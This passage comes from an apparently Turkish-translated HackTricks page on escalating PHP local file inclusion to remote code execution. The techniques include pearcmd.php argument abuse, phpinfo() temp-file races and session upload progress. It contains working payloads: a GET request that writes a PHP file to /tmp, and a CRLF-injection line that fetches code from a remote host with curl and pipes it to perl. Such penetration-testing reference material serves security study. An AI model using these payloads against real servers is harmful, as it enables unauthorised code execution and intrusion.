ise, multipart POST verisinde PHP_SESSION_UPLOAD_PROGRESS
sağlayarak PHP'nin sizin için session'ı etkinleştirmesini sağlayabilirsiniz. Bunu RCE elde etmek için kötüye kullanabilirsiniz:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Via temp file uploads in Windows
Eğer bir Local File Inclusion bulduysanız ve sunucu Windows üzerinde çalışıyorsa, RCE elde edebilirsiniz:
Via pearcmd.php
+ URL args
As explained in this post, the script /usr/local/lib/phppearcmd.php
exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an =
, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.
The following request create a file in /tmp/hello.php
with the content <?=phpinfo()?>
:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Aşağıdaki, RCE elde etmek için bir CRLF vuln'ünü kötüye kullanır (kaynak: here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
phpinfo() aracılığıyla (file_uploads = on)
Eğer bir Local File Inclusion bulduysanız ve phpinfo()'yu açığa çıkaran bir dosya file_uploads = on ile mevcutsa RCE elde edebilirsiniz:
compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Path Disclosure aracılığıyla
Eğer bir Local File Inclusion bulduysanız ve geçici dosyanın path'ini exfiltrate edebiliyorsanız AMA sunucu dahil edilecek dosyanın PHP işaretleri olup olmadığını kontrol ediyorsa, bu kontrolü bir Race Condition ile bypass etmeyi deneyebilirsiniz:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Sürekli bekletme + bruteforce
Eğer LFI'yi kötüye kullanarak geçici dosyalar yükleyebiliyor ve sunucunun PHP yürütmesini askıya alabiliyorsanız, geçici dosyayı bulmak için saatlerce dosya adlarını bruteforce edebilirsiniz:
Fatal Error'a
Eğer /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
dosyalarından herhangi birini include ederseniz. (Bu hatayı fırlatmak için aynı dosyayı 2 kez include etmeniz gerekir).
Bunun nasıl yararlı olduğunu bilmiyorum ama olabilir.
PHP Fatal Error'a sebep olsanız bile, yüklenen PHP geçici dosyaları silinir.
.png)
Referanslar
-
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
-
When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.